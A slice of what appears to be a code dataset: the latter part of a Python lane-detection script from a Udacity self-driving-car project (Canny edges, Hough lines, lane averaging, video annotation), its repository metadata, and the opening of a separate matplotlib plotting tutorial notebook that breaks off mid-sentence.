return masked_image\n\n\ndef draw_lines(img, lines, color=None, thickness=2):\n    \"\"\"\n    NOTE: this is the function you might want to use as a starting point once you want to \n    average/extrapolate the line segments you detect to map out the full\n    extent of the lane (going from the result shown in raw-lines-example.mp4\n    to that shown in P1_example.mp4).  \n    \n    Think about things like separating line segments by their \n    slope ((y2-y1)/(x2-x1)) to decide which segments are part of the left\n    line vs. the right line.  Then, you can average the position of each of \n    the lines and extrapolate to the top and bottom of the lane.\n    \n    This function draws `lines` with `color` and `thickness`.    \n    Lines are drawn on the image inplace (mutates the image).\n    If you want to make the lines semi-transparent, think about combining\n    this function with the weighted_img() function below\n    \"\"\"\n    for line in lines:\n        for x1,y1,x2,y2 in line:\n            #cv2.line(img, (x1, y1), (x2, y2), color, thickness)\n            #cv2.line(img, (x1, y1), (x2, y2), np.random.randint(0, 256), thickness);\n            #cv2.line(img, (x1, y1), (x2, y2), list(np.random.randint(0, 256, size=3, dtype=img.dtype)), thickness); # np.uint8\n            #color = tuple ([int(x) for x in np.random.randint(0, 256, size=3, dtype=img.dtype)]);\n            #color = np.random.randint(0, 256, size=3, dtype=int);\n            if color is None:\n                color = [int(x) for x in np.random.randint(0, 256, size=3, dtype=img.dtype)];\n            cv2.line(img, (x1, y1), (x2, y2), color, thickness); # np.uint8\n\ndef hough_lines(img, rho, theta, threshold, min_line_len, max_line_gap): # TODO: now take out the process_lines & draw_lines_to. update the caller\n    \"\"\"\n    `img` should be the output of a Canny transform.\n        \n    Returns an image with hough lines drawn.\n    \"\"\"\n    lines = cv2.HoughLinesP(img, rho, theta, threshold, np.array([]), minLineLength=min_line_len, maxLineGap=max_line_gap)\n    #print(\"len(lines) = %d\"%(len(lines)));\n    return lines;\n\ndef lines_process(lines, ymin, ymax, logging_str=''):\n    # lines_process.dot\n    # lines -> {k, b, length} \n    # k -> + - each sign category: \n    #   length sort two longest: keep 2x2 lines\n    # : kb average\n    # return two lines: kb -> xxyy with given yy; or ymin ymax of xxyy\n    # if missing lanes: do nothing <- no lines returned\n\n    # prepare\n    lines_out = [];\n    nline = len(lines);\n    if (nline == 0):\n        logging.warning(\"%s: nline = 0\"%(logging_str));\n        return;\n\n    # k b length compute:\n    k_b_length = np.zeros((3, nline)); # 3xn: 3 row matrix: k b length\n    #print(\"lines = \");\n    #print(lines);\n\n    for iline in range(nline):\n        #print(\"lines[iline] = \" );\n        #print(lines[iline]);\n\n        for x1,y1,x2,y2 in lines[iline]:\n            #print(\"[x1,y1,x2,y2] = [%d %d %d %d]\"%(x1,y1,x2,y2));\n            k = (y2-y1)/(x2-x1);\n            b = y1-k*x1;\n            length = np.sqrt((y2-y1)**2 + (x2-x1)**2);\n            k_b_length[:, iline] = [k, b, length];\n\n    # left:\n    def longest_mean(index_selected, k_b_length):\n        line = np.array([[]]);\n        nselected = np.sum(index_selected);\n        if (nselected == 0):\n            logging.warning(\"%s: selected lane not detected\"%(logging_str));\n            return line;\n\n        k_b_length_selected = k_b_length[:, index_selected];\n        if nselected > 0 and nselected <= 2:\n            k_b_length_selected_longest_mean = np.mean(k_b_length_selected, axis=1);\n        else: # nline > 2\n            index_longest = np.argsort(k_b_length_selected[2, :])[[-2, -1]];\n            k_b_length_selected_longest_mean = np.mean(k_b_length_selected[:, index_longest], axis=1); # longest 2 lines\n\n        line = np.array([[(ymin - k_b_length_selected_longest_mean[1])/k_b_length_selected_longest_mean[0], ymin, (ymax - k_b_length_selected_longest_mean[1])/k_b_length_selected_longest_mean[0], ymax]], dtype='int32');\n        return line;\n\n    # y = kx + b; x = (y-b)/k\n    # slope classifying: left: [0] right [0]\n    #print(\"slope = \", np.sort(k_b_length[0, :]));\n    index_left = np.logical_and(k_b_length[0, :] >= -0.95, k_b_length[0, :] <= -0.60);\n    index_right =  np.logical_and(k_b_length[0, :] >= 0.45, k_b_length[0, :] <= 0.75); \n\n    line_left = longest_mean(index_left, k_b_length);\n    if line_left.size > 0:\n        lines_out.append(line_left);\n\n    line_right = longest_mean(index_right, k_b_length);\n    if line_right.size > 0:\n        lines_out.append(line_right);\n\n    lines_out = np.array(lines_out);\n    return lines_out; \n\ndef lines_to_image(lines, imshape, color=None, thickness=2):\n    line_img = np.zeros((imshape[0], imshape[1], 3), dtype=np.uint8); # img.shape\n    draw_lines(line_img, lines, color=color, thickness=thickness);\n    return line_img;\n\n# Python 3 has support for cool math symbols.\n\ndef weighted_img(img, initial_img, \u03b1=0.8, \u03b2=1., \u03b3=0.):\n    \"\"\"\n    `img` is the output of the hough_lines(), An image with lines drawn on it.\n    Should be a blank image (all black) with lines drawn on it.\n    \n    `initial_img` should be the image before any processing.\n    \n    The result image is computed as follows:\n    \n    initial_img * \u03b1 + img * \u03b2 + \u03b3\n    NOTE: initial_img and img must be the same shape!\n    \"\"\"\n    return cv2.addWeighted(initial_img, \u03b1, img, \u03b2, \u03b3)\n\n\n# ## Test Images\n# \n# Build your pipeline to work on the images in the directory \"test_images\"  \n# **You should make sure your pipeline works well on these images before you try the videos.**\n\n# In[ ]:\n\n\nimport os\nimage_list = [];\nimages_dir = 'test_images_mixed/'; # test_images\nimage_basename_list = [filename for filename in sorted(os.listdir(images_dir)) if '.jpg' in filename];\nimage_file_list = [images_dir + image_basename for image_basename in image_basename_list];\n#print(\"image_file_list =\", image_file_list);\nn_image = len(image_file_list);\nprint(\"n_image = %d\"%n_image);\nfor i_image in range(n_image):\n    image_list.append(mpimg.imread(image_file_list[i_image]));\nimshape = image_list[0].shape;\n\ndef plot_image_pair_4x3(image_list, image_canny_list):\n    # cmap ignored for RGB(A) data so I use 'gray'\n    AxesImage_canny_list = [];\n    nx_sp = 3; # n_image/2;\n    fig_canny_gui, ax = plt.subplots(4, 3, figsize=(15, 8), sharex=True, sharey=True);\n    for i_image in range(n_image):\n        #ax[0][i_image].imshow(image_blur_list[i_image], cmap='gray'); \n        ax[0+int(i_image/3)][i_image%3].set_title(image_file_list[i_image]);\n\n        ax[0+int(i_image/3)][i_image%3].imshow(image_list[i_image], cmap='gray'); \n        AxesImage_canny_list.append(ax[2+int(i_image/3)][i_image%3].imshow(image_canny_list[i_image], cmap='gray')); # \n    return fig_canny_gui, AxesImage_canny_list;\n\n# ## Build a Lane Finding Pipeline\n# \n# \n\n# Build the pipeline and run your solution on all test_images. Make copies into the `test_images_output` directory, and you can use the images in your writeup report.\n# \n# Try tuning the various parameters, especially the low and high Canny thresholds as well as the Hough lines parameters.\n\n# In[ ]:\n\n\n# TODO: Build your pipeline that will draw lane lines on the test_images\n# then save them to the test_images_output directory.\n# since later there is a process_image funcion, this can be the parameter tuning section\n\n# ### Blur\nimage_blur_list = [];\nfor i_image in range(n_image):\n    image_blur_list.append(gaussian_blur(grayscale(image_list[i_image]), 5));\n\n# ### Canny: GUI\nlow_threshold_tuned, high_threshold_tuned = 42, 85; # 110, 215;\nimage_canny_list = image_blur_list.copy(); \nfig_canny_gui, AxesImage_canny_list = plot_image_pair_4x3(image_list, image_canny_list);\nfig_canny_gui.suptitle('canny_gui');\n\n\ndef update_canny(val):\n    low_threshold = slider_low_threshold.val;\n    high_threshold = slider_high_threshold.val;\n    for i_image in range(n_image):\n        image_canny_list[i_image] = canny(image_blur_list[i_image], low_threshold, high_threshold); # 50, 150\n        AxesImage_canny_list[i_image].set_data(image_canny_list[i_image]);\n\n    fig_canny_gui.canvas.draw_idle();\n\nplt.subplots_adjust(bottom=0.10+0.05*2); # [0.10 0.15 0.20]\n\nax_low_threshold = plt.axes([0.25, 0.15, 0.65, 0.03]);\nslider_low_threshold = Slider(ax_low_threshold, 'low_threshold', 0, 400, valinit=low_threshold_tuned, valstep=5);\nslider_low_threshold.on_changed(update_canny);\n\nax_high_threshold = plt.axes([0.25, 0.10, 0.65, 0.03]);\nslider_high_threshold = Slider(ax_high_threshold, 'high_threshold', 0, 400, valinit=high_threshold_tuned, valstep=5);\nslider_high_threshold.on_changed(update_canny);\n\n\"\"\" parameter tuning findings:\nlow: < 55; otherwise P1 left lane right side will be missed\nhigh: <280; otherwise P2 left lane right side will be missed\n[55 280]\n[65 195 or 215 < 225]\n\"\"\"\n\n# ### Canny: apply tuned parameter\nfor i_image in range(n_image):\n    image_canny_list[i_image] = canny(image_blur_list[i_image], low_threshold_tuned, high_threshold_tuned); # 65, 215 # 50, 150 #  110, 215\n\n# ### region_of_interest: vertices\n# 445 -> 405: 40 pixels clearance\nx_ROI_normalized = np.array([172, 405, 592, 854])/960.0;\ny_ROI_normalized = np.array([347.0, 500.0])/540.0;\nx_ROI = (imshape[1]*x_ROI_normalized).astype(int); \ny_ROI = (imshape[0]*y_ROI_normalized).astype(int); \n\n#y_up = 347; # 322; \n#y_down = 500; # imshape[0] - 1;  # TODO: normalized\n# start: lower left corner; clockwise\n#vertices = np.array([[(123,y_down),(427, y_up), (550, y_up), (918,y_down)]], dtype=np.int32) \nvertices = np.array([[(x_ROI[0],y_ROI[1]),(x_ROI[1], y_ROI[0]), (x_ROI[2], y_ROI[0]), (x_ROI[3],y_ROI[1])]], dtype=np.int32) \nprint(\"vertices = \", vertices);\n\nimage_vertices = image_list[2].copy();\ncv2.polylines(image_vertices,[vertices],True,(0,255,255), thickness=5);\nfig_v, ax_v = plt.subplots(1,1); \nplt.imshow(image_vertices);\nax_v.set_title('image_vertices');\n\nmasked_edges_list = [];\nfor i_image in range(n_image):\n    masked_edges_list.append(region_of_interest(image_canny_list[i_image], vertices));\n\nfig_masked_edges, AxesImage_masked_list = plot_image_pair_4x3(image_list, masked_edges_list);\nfig_masked_edges.suptitle('masked_edges');\n\n# ### Hough\n# #### init & plot\nthreshold_tuned, min_line_len_tuned, max_line_gap_tuned = 15, 15, 300; # 135; # 36, 120, 135;\nimage_hough_list = masked_edges_list.copy();\nfig_hough_gui, AxesImage_hough_gui_list = plot_image_pair_4x3(masked_edges_list, image_hough_list);\nfig_hough_gui.suptitle('hough_gui');\n\n# #### def update_hough(val):\ndef update_hough(val):\n    threshold = int(slider_threshold.val);\n    min_line_len = slider_min_line_len.val;\n    max_line_gap = slider_max_line_gap.val;\n\n    for i_image in range(n_image):\n        image_hough_list[i_image] = lines_to_image(hough_lines(masked_edges_list[i_image], 1, np.pi/180, threshold, min_line_len, max_line_gap), imshape, color=None); # 40, 20, 10); // \n        AxesImage_hough_gui_list[i_image].set_data(image_hough_list[i_image]);\n\n    fig_hough_gui.canvas.draw_idle();\n\nplt.subplots_adjust(bottom=0.10+0.05*3); # [0.10 0.15 0.20 0.25]\n\nax_threshold = plt.axes([0.25, 0.20, 0.65, 0.03]);\nslider_threshold = Slider(ax_threshold, 'threshold', 1, 400, valinit=threshold_tuned, valstep=5);\nslider_threshold.on_changed(update_hough);\n\nax_min_line_len = plt.axes([0.25, 0.15, 0.65, 0.03]);\nslider_min_line_len = Slider(ax_min_line_len, 'min_line_len', 0, 400, valinit=min_line_len_tuned, valstep=5);\nslider_min_line_len.on_changed(update_hough);\n\nax_max_line_gap = plt.axes([0.25, 0.10, 0.65, 0.03]);\nslider_max_line_gap = Slider(ax_max_line_gap, 'max_line_gap', 0, 300, valinit=max_line_gap_tuned, valstep=5);\nslider_max_line_gap.on_changed(update_hough);\n\n\"\"\" parameter tuning findings:\n* start broad: [threshold len gap] = [1, 5(instead 1 which gives too many and distracting), longest gap between line segments ~200]\n* narrow down: \n        * len: increase until some line filterd out. 170\n        * th: increase until critical lines get filtered out\n        * gap: reduce until continuity -> broken\n\"\"\"\n\n# #### apply tuned parameters\nlines_list = [];\nimage_line_list = []; \nfor i_image in range(n_image):\n    lines_list.append(hough_lines(masked_edges_list[i_image], 1, np.pi/180, threshold_tuned, min_line_len_tuned, max_line_gap_tuned)); \n    image_line_list.append(lines_to_image(lines_list[i_image], imshape, color=None));\n\nprint(\"type(lines_list) = \", type(lines_list));\nprint(\"type(lines_list[0]) = \", type(lines_list[0]));\nprint(\"lines_list[0].shape = \", lines_list[0].shape); \n\n\"\"\"\ntype(lines_list) =  <class 'list'>\ntype(lines_list[0]) =  <class 'numpy.ndarray'>\nlines_list[0].shape =  (6, 1, 4)\nlines_list = [ array([[[154, 538, 456, 326]], [[175, 539, 442, 338]], [[155, 538, 449, 332]], [[175, 538, 446, 334]], [[193, 510, 455, 326]], [[515, 332, 780, 491]]], dtype=int32), ...]\n\"\"\"\n#print(\"lines_list = \");\n#print(lines_list);\n\n\n# ### line processing\n\"\"\"\nlines -> [length slope:+-] -> max 2: average: [kb1 kb2] -> draw\n\n* original\n* extended to ROI top/bottom\n* slope: + -: 2 categories\n* reduce: \n    * average \n    * median of longest 2 \n* longest 2 averaging: -> [k b]\n* draw: ROI top/bottom\n\"\"\"\nlogging.basicConfig(format= '[%(asctime)s] {%(pathname)s:%(lineno)d} %(levelname)s - %(message)s', level=logging.INFO);\nlines_processed_list = [];\nfor i_image in range(n_image): # [3]: # \n    lines_processed_i = lines_process(lines_list[i_image], y_ROI[0], y_ROI[1], logging_str=\"i_image=%d\"%i_image);\n    print(\"lines_list[%d] = \"%(i_image), lines_list[i_image]);\n    print(\"lines_processed_i = \", lines_processed_i);\n    lines_processed_list.append(lines_processed_i);\n\n#print(\"lines_processed_list = \");\n#print(lines_processed_list);\n\n# plot image_lines_processed_list\nimage_lines_processed_list = []; \nfor i_image in range(n_image):\n    image_lines_processed_list.append(lines_to_image(lines_processed_list[i_image], imshape, color=[255, 0, 0], thickness=20)); # # lines_list\nfig_line_process, AxesImage_line_process_list = plot_image_pair_4x3(image_line_list, image_lines_processed_list);\nfig_line_process.suptitle('line_process');\n\n# plot and save final overlayed output: line_image\nimage_annotated_list = [];\nimages_output_dir = 'test_images_output/';\nimage_output_file_list = [images_output_dir + image_basename for image_basename in image_basename_list];\nprint(\"image_output_file_list = \", image_output_file_list);\n\nfor i_image in range(n_image):\n    image_annotated_list.append(weighted_img(image_list[i_image], image_lines_processed_list[i_image], 0.8, 1.0, 0.));\n\n    logging.info(\"i_image = %d, imsave %s\"%(i_image, image_output_file_list[i_image]));\n    mpimg.imsave(image_output_file_list[i_image], image_annotated_list[i_image]);\nfig_annotated, _ = plot_image_pair_4x3(image_list, image_annotated_list);\nfig_annotated.suptitle('annotated');\n\n# ### check single image across pipeline\ni_image = 3;\nfig_pipeline, ax_pipeline = plt.subplots(2, 2, figsize=(15, 8), sharex=True, sharey=True);\n\nax_pipeline = ax_pipeline.ravel();\n\nax_pipeline[0].imshow(image_list[i_image]);\nax_pipeline[0].set_title('image');\n\nax_pipeline[1].imshow(image_canny_list[i_image]);\nax_pipeline[1].set_title('image_canny_list');\n\nax_pipeline[2].imshow(image_line_list[i_image]);\nax_pipeline[2].set_title('image_line_list');\n\nax_pipeline[3].imshow(image_annotated_list[i_image]);\nax_pipeline[3].set_title('image_annotated_list');\n\n# ## Test on Videos\n# \n# You know what's cooler than drawing lanes over images? Drawing lanes over video!\n# \n# We can test our solution on two provided videos:\n# \n# `solidWhiteRight.mp4`\n# \n# `solidYellowLeft.mp4`\n# \n# **Note: if you get an import error when you run the next cell, try changing your kernel (select the Kernel menu above --> Change Kernel). Still have problems? Try relaunching Jupyter Notebook from the terminal prompt. Also, consult the forums for more troubleshooting tips.**\n# \n# **If you get an error that looks like this:**\n# ```\n# NeedDownloadError: Need ffmpeg exe. \n# You can download it by calling: \n# imageio.plugins.ffmpeg.download()\n# ```\n# **Follow the instructions in the error message and check out [this forum post](https://discussions.udacity.com/t/project-error-of-test-on-videos/274082) for more troubleshooting tips across operating systems.**\n\n# In[ ]:\n\n\n# Import everything needed to edit/save/watch video clips\nfrom moviepy.editor import VideoFileClip\nfrom IPython.display import HTML\n\n\n# In[ ]:\n\n\ndef process_image(image):\n    # NOTE: The output you return should be a color image (3 channel) for processing video below\n    # you should return the final output (image where lines are drawn on lanes)\n\n    imshape = image.shape;\n    #x_ROI = (imshape[1]*np.array([172, 405, 592, 854])/960.0).astype(int); # 445 -> 405: 40 pixels clearance\n    #y_ROI = (imshape[0]*np.array([347.0, 500.0])/540.0).astype(int); \n\n    x_ROI = (imshape[1]*x_ROI_normalized).astype(int); \n    y_ROI = (imshape[0]*y_ROI_normalized).astype(int); \n\n    image_blur = gaussian_blur(grayscale(image), 5);\n    image_canny = canny(image_blur, low_threshold_tuned, high_threshold_tuned); \n    vertices = np.array([[(x_ROI[0],y_ROI[1]),(x_ROI[1], y_ROI[0]), (x_ROI[2], y_ROI[0]), (x_ROI[3],y_ROI[1])]], dtype=np.int32) \n    masked_edges = region_of_interest(image_canny, vertices);\n    lines = hough_lines(masked_edges, 1, np.pi/180, threshold_tuned, min_line_len_tuned, max_line_gap_tuned); \n    lines_processed = lines_process(lines, y_ROI[0], y_ROI[1]);\n    image_lines_processed = lines_to_image(lines_processed, imshape, color=[255, 0, 0], thickness=20); # # lines_list\n    image_annotated = weighted_img(image, image_lines_processed, 0.8, 1.0, 0.);\n    return image_annotated\n\n# Let's try the one with the solid white lane on the right first ...\n\n# In[ ]:\n\nwhite_output = 'test_videos_output/solidWhiteRight.mp4'\n## To speed up the testing process you may want to try your pipeline on a shorter subclip of the video\n## To do so add .subclip(start_second,end_second) to the end of the line below\n## Where start_second and end_second are integer values representing the start and end of the subclip\n## You may also uncomment the following line for a subclip of the first 5 seconds\n##clip1 = VideoFileClip(\"test_videos/solidWhiteRight.mp4\").subclip(0,5)\nclip1 = VideoFileClip(\"test_videos/solidWhiteRight.mp4\")\nwhite_clip = clip1.fl_image(process_image) #NOTE: this function expects color images!!\n\nlogging.info('write_videofile to %s start ...'%white_output);\nwhite_clip.write_videofile(white_output, audio=False);\n#get_ipython().run_line_magic('time', 'white_clip.write_videofile(white_output, audio=False)')\nlogging.info('write_videofile to %s end'%white_output);\n\n\n# Play the video inline, or if you prefer find the video in your filesystem (should be in the same directory) and play it in your video player of choice.\n\n# In[ ]:\n\n\nHTML(\"\"\"\n<video width=\"960\" height=\"540\" controls>\n  <source src=\"{0}\">\n</video>\n\"\"\".format(white_output))\n\n\n# ## Improve the draw_lines() function\n# \n# **At this point, if you were successful with making the pipeline and tuning parameters, you probably have the Hough line segments drawn onto the road, but what about identifying the full extent of the lane and marking it clearly as in the example video (P1_example.mp4)?  Think about defining a line to run the full length of the visible lane based on the line segments you identified with the Hough Transform. As mentioned previously, try to average and/or extrapolate the line segments you've detected to map out the full extent of the lane lines. You can see an example of the result you're going for in the video \"P1_example.mp4\".**\n# \n# **Go back and modify your draw_lines function accordingly and try re-running your pipeline. The new output should draw a single, solid line over the left lane line and a single, solid line over the right lane line. The lines should start from the bottom of the image and extend out to the top of the region of interest.**\n\n# Now for the one with the solid yellow lane on the left. This one's more tricky!\n\n# In[ ]:\n\n\nyellow_output = 'test_videos_output/solidYellowLeft.mp4'\n## To speed up the testing process you may want to try your pipeline on a shorter subclip of the video\n## To do so add .subclip(start_second,end_second) to the end of the line below\n## Where start_second and end_second are integer values representing the start and end of the subclip\n## You may also uncomment the following line for a subclip of the first 5 seconds\n##clip2 = VideoFileClip('test_videos/solidYellowLeft.mp4').subclip(0,5)\nclip2 = VideoFileClip('test_videos/solidYellowLeft.mp4')\nyellow_clip = clip2.fl_image(process_image)\n\n#get_ipython().run_line_magic('time', 'yellow_clip.write_videofile(yellow_output, audio=False)')\n\nlogging.info('write_videofile to %s start ...'%yellow_output);\nyellow_clip.write_videofile(yellow_output, audio=False);\n#get_ipython().run_line_magic('time', 'yellow_clip.write_videofile(yellow_output, audio=False)')\nlogging.info('write_videofile to %s end'%yellow_output);\n\n# In[ ]:\n\n\nHTML(\"\"\"\n<video width=\"960\" height=\"540\" controls>\n  <source src=\"{0}\">\n</video>\n\"\"\".format(yellow_output))\n\n\n# ## Writeup and Submission\n# \n# If you're satisfied with your video outputs, it's time to make the report writeup in a pdf or markdown file. Once you have this Ipython notebook ready along with the writeup, it's time to submit for review! Here is a [link](https://github.com/udacity/CarND-LaneLines-P1/blob/master/writeup_template.md) to the writeup template file.\n# \n\n# ## Optional Challenge\n# \n# Try your lane finding pipeline on the video below.  Does it still work?  Can you figure out a way to make it more robust?  If you're up for the challenge, modify your pipeline so it works with this video and submit it along with the rest of your project!\n\n# In[ ]:\n\n\nchallenge_output = 'test_videos_output/challenge.mp4'\n## To speed up the testing process you may want to try your pipeline on a shorter subclip of the video\n## To do so add .subclip(start_second,end_second) to the end of the line below\n## Where start_second and end_second are integer values representing the start and end of the subclip\n## You may also uncomment the following line for a subclip of the first 5 seconds\n##clip3 = VideoFileClip('test_videos/challenge.mp4').subclip(0,5)\nclip3 = VideoFileClip('test_videos/challenge.mp4')\nchallenge_clip = clip3.fl_image(process_image)\n#get_ipython().run_line_magic('time', 'challenge_clip.write_videofile(challenge_output, audio=False)')\nlogging.info('write_videofile to %s start ...'%challenge_output);\nchallenge_clip.write_videofile(challenge_output, audio=False);\nlogging.info('write_videofile to %s end'%challenge_output);\n\n\n# In[ ]:\n\n\nHTML(\"\"\"\n<video width=\"960\" height=\"540\" controls>\n  <source src=\"{0}\">\n</video>\n\"\"\".format(challenge_output))\n\n# ## End: show\nplt.show();\n", "meta": {"hexsha": "fae048c0d46ab84bcacc8f6cb6e583894d1ded70", "size": 29142, "ext": "py", "lang": "Python", "max_stars_repo_path": "P1_offline.py", "max_stars_repo_name": "zbsjila/CarND-LaneLines-P1", "max_stars_repo_head_hexsha": "c23969a347e93093cdecf9880cb04ef8ab354b37", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "P1_offline.py", "max_issues_repo_name": "zbsjila/CarND-LaneLines-P1", "max_issues_repo_head_hexsha": "c23969a347e93093cdecf9880cb04ef8ab354b37", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "P1_offline.py", "max_forks_repo_name": "zbsjila/CarND-LaneLines-P1", "max_forks_repo_head_hexsha": "c23969a347e93093cdecf9880cb04ef8ab354b37", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 43.822556391, "max_line_length": 638, "alphanum_fraction": 0.7173152152, "include": true, "reason": "import numpy", "num_tokens": 7834, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.17106119167858438, "lm_q1q2_score": 0.08152428304071634}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     cell_metadata_filter: all\n#     formats: ipynb,py:percent\n#     notebook_metadata_filter: all,-language_info,-toc,-latex_envs\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.3'\n#       jupytext_version: 1.3.0\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# %% [markdown] toc=true\n#\n# # Plotting\n#\n# single: MatPlotLib single: plots\n#\n# The graphical representation of data---plotting---is one of the most\n# important tools for evaluating and understanding scientific data and\n# theoretical predictions. However, plotting is not a part of core Python\n# but is provided through one of several possible library modules. The\n# most highly developed and widely used plotting package for Python is\n# MatPlotLib (<http://MatPlotLib.sourceforge.net/>). It is a powerful and\n# flexible program that has become the *de facto* standard for 2-d\n# plotting with Python.\n#\n# Because MatPlotLib is an external library---in fact it's a collection of\n# libraries---it must be imported into any routine that uses it.\n# MatPlotLib makes extensive use of NumPy so the two should be imported\n# together. Therefore, for any program for which you would like to produce\n# 2-d plots, you should include the lines\n#\n# ``` python\n# import numpy as np\n# import matplotlib.pyplot as plt\n# ```\n#\n# There are other MatPlotLib sub-libraries, but the `pyplot` library\n# provides nearly everything that you need for 2-d plotting. The standard\n# prefix for it is `plt`. The two statements above must appear before any\n# calls to NumPy or MatPlotLib routines are made.\n#\n# One final word before we get started: We only scratch the surface of\n# what is possible using MatPlotLib and as you become familiar with it,\n# you will surely want to do more than this manual describes. In that\n# case, you need to go the the web to get more information. A good place\n# to start is <http://matplotlib.org/api/pyplot_summary.html>. Another\n# interesting web page is <http://matplotlib.org/gallery.html>.\n#\n# An interactive session with `pyplot`\n# ------------------------------------\n#\n# single: plots; interactive\n#\n# We begin with an interactive plotting session that illustrates some very\n# basic features of MatPlotLib. Type in the `plot` command shown below and\n# press the return key. Take care to follow the exact syntax.\n#\n# ``` ipython\n# In [1]: plt.plot([1,2,3,2,3,4,3,4,5])\n# Out[1]: [<MatPlotLib.lines.Line2D at 0x94e1310>]\n# ```\n#\n# <figure>\n# <img src=\"attachment:zigzagPlotDemo.png\" class=\"align-center\" alt=\"\" /><figcaption>Interactive plot window</figcaption>\n# </figure>\n#\n# A window should appear with a plot that looks something like the\n# `fig-zigzagPlotDemo` shown here. By default, the `plot` function draws a\n# line between the data points that were entered. You can save this plot\n# to an image file by clicking on the floppy disk icon at the top of the\n# plot window. You can also zoom, pan, scroll through the plot, and return\n# to the original view using the other icons in the plot window.\n# Experimenting with them reveals their functions.\n#\n# When you are finished, be sure to close the plot window.\n#\n# Let's take a closer look at the `plot` function. It is used to plot\n# $x$-$y$ data sets and is written like this\n#\n# ``` python\n# plt.plot(x, y)\n# ```\n#\n# where `x` and `y` are arrays (or lists) that have the same size. If the\n# `x` array is missing, that is, if there is only a single array, as in\n# our example above, the `plot` function uses `0, 1, ..., N-1` for the `x`\n# array, where `N` is the size of the `y` array. Thus, the `plot` function\n# provides a quick graphical way of examining a data set.\n#\n# More typically, you supply both an $x$ and a $y$ data set to plot.\n# Taking things a bit further, you may also want to plot several data sets\n# on the same graph, use symbols as well as lines, label the axes, create\n# a title and a legend, and control the color of symbols and lines. All of\n# this is possible but requires calling a number of plotting functions.\n# For this reason, plotting is usually done using a Python script or\n# program.\n#\n# Basic plotting\n# --------------\n#\n# single: plots; basic\n#\n# The quickest way to learn how to plot using the MatPlotLib library is by\n# example. For our first task, let's plot the sine function over the\n# interval from 0 to $4\\pi$. The main plotting function `plot` in\n# MatPlotLib does not plot functions *per se*, it plots $(x,y)$ data\n# points. As we shall see, we can instruct the function `plot` either to\n# just draw point---or dots---at each data point, or we can instruct it to\n# draw straight lines between the data points. To create the illusion of\n# the smooth function that the sine function is, we need to create enough\n# $(x,y)$ data points so that when `plot` draws straight lines between the\n# data points, the function appears to be smooth. The sine function\n# undergoes two full oscillations with two maxima and two minima between 0\n# and $4\\pi$. So let's start by creating an array with 33 data points\n# between 0 and $4\\pi$, and then let MatPlotLib draw a straight line\n# between them. Our code consists of four parts\n#\n# -   import the NumPy and MatPlotLib modules (lines 1-2 below)\n# -   create the $(x,y)$ data arrays (lines 3-4 below)\n# -   have `plot` draw straight lines between the $(x,y)$ data points\n#     (line 5 below)\n# -   display the plot in a figure window using the `show` function (line\n#     6 below)\n#\n# Here is our code, which consists of only 6 lines:\n#\n# ``` python\n# import numpy as np\n# import matplotlib.pyplot as plt\n# x = np.linspace(0, 4.*np.pi, 33)\n# y = np.sin(x)\n# plt.plot(x, y)\n# plt.show()\n# ```\n#\n# <figure>\n# <img src=\"attachment:sinePlot.png\" class=\"align-center\" alt=\"\" /><figcaption>Sine function</figcaption>\n# </figure>\n#\n# Only 6 lines suffice to create the plot, which consists of the sine\n# function over the interval from 0 to $4\\pi$, as advertised, as well as\n# axes annotated with nice whole numbers over the appropriate interval.\n# It's a pretty nice plot made with very little code.\n#\n# One problem, however, is that while the plot oscillates like a sine\n# wave, it is not smooth. This is because we did not create the $(x,y)$\n# arrays with enough data points. To correct this, we need more data\n# points. The plot below was created using the same program shown above\n# but with 129 $(x,y)$ data points instead of 33. Try it out your self by\n# copying the above program and replacing 33 in line 3 with 129 so that\n# the function `linspace` creates an array with 129 data points instead of\n# 33.\n#\n# <figure>\n# <img src=\"attachment:sinePlotDenserXY.png\" class=\"align-center\" alt=\"\" /><figcaption>Sine function plotted using more data points</figcaption>\n# </figure>\n#\n# The code above illustrates how plots can be made with very little code\n# using the MatPlotLib module. In making this plot, MatPlotLib has made a\n# number of choices, such as the size of the figure, the blue color of the\n# line, even the fact that by default a line is drawn between successive\n# data points in the $(x,y)$ arrays. All of these choices can be changed\n# by explicitly instructing MatPlotLib to do so. This involves including\n# more arguments in the function calls we have used and using new\n# functions that control other properties of the plot. The next example\n# illustrates a few of the simpler embellishments that are possible.\n#\n# In the `fig-WavyPulse` figure, we plot two $(x,y)$ data sets: a smooth\n# line curve and some data represented by red circles. In this plot, we\n# label the $x$ and $y$ axes, create a legend, and draw lines to indicate\n# where $x$ and $y$ are zero. The code that creates this plot is shown\n# below.\n#\n# ``` python\n# import numpy as np\n# import matplotlib.pyplot as plt\n#\n# # read data from file\n# xdata, ydata = np.loadtxt('wavePulseData.txt', unpack=True)\n#\n# # create x and y arrays for theory\n# x = np.linspace(-10., 10., 200)\n# y = np.sin(x) * np.exp(-(x/5.0)**2)\n#\n# # create plot\n# plt.figure(1, figsize = (6,4) )\n# plt.plot(x, y, 'b-', label='theory')\n# plt.plot(xdata, ydata, 'ro', label=\"data\")\n# plt.xlabel('x')\n# plt.ylabel('transverse displacement')\n# plt.legend(loc='upper right')\n# plt.axhline(color = 'gray', zorder=-1)\n# plt.axvline(color = 'gray', zorder=-1)\n#\n# # save plot to file\n# plt.savefig('WavyPulse.pdf')\n#\n# # display plot on screen\n# plt.show()\n# ```\n#\n# <figure>\n# <img src=\"attachment:WavyPulse.png\" class=\"align-center\" alt=\"\" /><figcaption>Wavy pulse</figcaption>\n# </figure>\n#\n# If you have read the first four chapters, the code in lines 1-9 in the\n# above script should be familiar to you. Fist, the script loads the NumPy\n# and MatPlotLib modules, then reads data from a data file into two\n# arrays, `xdata` and `ydata`, and then creates two more arrays, `x` and\n# `y`. The first pair or arrays, `xdata` and `ydata`, 